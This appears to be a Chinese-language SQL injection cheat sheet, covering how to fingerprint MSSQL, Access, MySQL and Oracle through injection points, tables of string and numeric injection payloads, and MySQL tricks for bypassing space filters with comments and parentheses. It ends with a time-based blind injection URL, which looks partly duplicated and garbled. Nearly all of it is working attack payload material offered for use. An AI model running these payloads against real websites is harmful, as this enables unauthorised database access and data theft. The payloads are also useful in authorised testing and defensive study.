通过注入点判断数据库

简介

当拿给你一个注入点的时候,你可以通过单引号双引号数字加减来判断出是注入,但接下来的一系列查数据操作就涉及了数据库本身的特性了,故开此文档记录

数据库判断

通过各个数据库特有的数据表来判断

1、mssql数据库

  1. http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

2、access数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

3、mysql数据库(mysql版本在5.0以上)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

4、oracle数据库

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

通过各数据库特有的连接符判断数据库类型

1、mssql数据库

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

2、mysql数据库

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'
http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

3、oracle数据库

http://127.0.0.1/test.php?id=1 and '1'||'1'='11'
http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

根据其返回的错误类型

ORACLE

ORA-01756:quoted string not properly terminated
ORA-00933:SQLcommand not properly ended

MS-SQL

Msg 170,level 15, State 1,Line 1
Line 1:Incorrect syntax near ‘foo
Msg 105,level 15,state 1,Line 1
Unclose quotation mark before the character string ‘foo

MYSQL

you have an error in your SQL syntax,check the manual that corresponds to you mysql server version for the right stntax to use near ‘’foo’ at line x

字符串注入的特征值

‘ 触发错误,如果成功数据库返回一个错误。
1’ or’1’=’1 或 1’)or(‘1’=’1 永真条件,如果成功数据库返回表中所有行。
value’ or’1’=’2 或 value’)or(‘1’=’2 空条件,如果成功将返回与原来数值相同的结果。
1’ and’1’=’2 或 1’)and(‘1’=’2 永假条件,如果成功将不返回表中任何行。
1’ or’ab’=’a’+’b 或 1’)or(‘ab’=’a’+’b SQL server字符串连接。如果成功与永真条件信息相同。
1’ or’ab’=’a’ ‘b 或 1’)or(‘ab’=’a’ ‘b Mysql字符串连接。如果成功与永真条件信息相同。
1’ or’ab’=’a’||’b 或 1’)or(‘ab’=’a’||’b Oracle字符串连接。如果成功与永真条件信息相同。

数字注入的特征值

‘ 触发错误,如果成功数据库返回一个错误。
1+1 或3-1 如果成功,将返回操作结果相同的值。
value+0 如果成功,将返回原来请求相同的值。
1 or 1=1 或 1)or(1=1 永真条件,如果成功数据库返回表中所有行。
value or1=2 或 value)or(1=2 空条件,如果成功将返回与原来数值相同的结果。
1 and1=2 或 1)and(1=2 永假条件,如果成功将不返回表中任何行。
1 or’ab’=’a’+’b 或 1)or(‘ab’=’a’+’b SQL server字符串连接。如果成功与永真条件信息相同。
1 or’ab’=’a’ ‘b 或 1)or(‘ab’=’a’ ‘b Mysql字符串连接。如果成功与永真条件信息相同。
1 or’ab’=’a’||’b 或 1)or(‘ab’=’a’||’b Oracle字符串连接。如果成功与永真条件信息相同。

mysql

括号代替空格

注释绕过空格

这是最基本的方法,在一些自动化SQL注射工具中,使用也十分普遍。在MySQL中,用
/注释/
来标记注释的内容。比如SQL查询:
select user() from dual
我们用注释替换空格,就可以变成:
select//user()//from/**/dual

括号绕过空格

空格被过滤,但括号没有被过滤,可通过括号绕过。
我的经验是,在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
括号绕过空格的方法,在time based盲注中,是屡试不爽的。
举例说明,我们有这样的一条SQL查询:
select user() from dual where 1=1 and 2=2
如何把空格减到最少?
观察到user()可以算值,那么user()两边要加括号,变成:
select(user())from dual where 1=1 and 2=2;
继续,1=1和2=2可以算值,也加括号,去空格,变成:
select(user())from dual where(1=1)and(2=2)
dual两边的空格,通常是由程序员自己添加,我们一般无法控制。所以上面就是空格最少的结果。

小总结

这也是非常实用的一个技巧。
用我常用的一条time based盲注语句做个总结:
http://www.xxx.com/index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))from(2)for(1)))=109)))
这条语句是猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟。它:
1) 既没有用到逗号、大小于符号
2) 也没有使用空格
却可以完成数据的猜解工作!